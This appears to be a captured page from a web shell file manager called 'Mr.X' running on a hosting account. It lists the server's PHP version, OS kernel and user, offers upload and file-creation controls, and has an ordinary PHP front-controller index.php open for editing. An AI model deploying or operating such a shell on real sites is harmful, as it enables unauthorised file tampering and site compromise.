🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:index.php
<?php // Start session session_start(); // Require config dynamically based on directory structure (works for local and flattened cPanel) if (file_exists('../app/config/config.php')) { require_once '../app/config/config.php'; } elseif (file_exists('app/config/config.php')) { require_once 'app/config/config.php'; } else { die('Config file not found.'); } // Require core files using APPROOT absolute path require_once APPROOT . '/core/App.php'; require_once APPROOT . '/core/Controller.php'; require_once APPROOT . '/core/Database.php'; // Require config database if needed require_once APPROOT . '/config/database.php'; // Init Core App $init = new App();
Save Changes
Cancel
Create New File
Create New Folder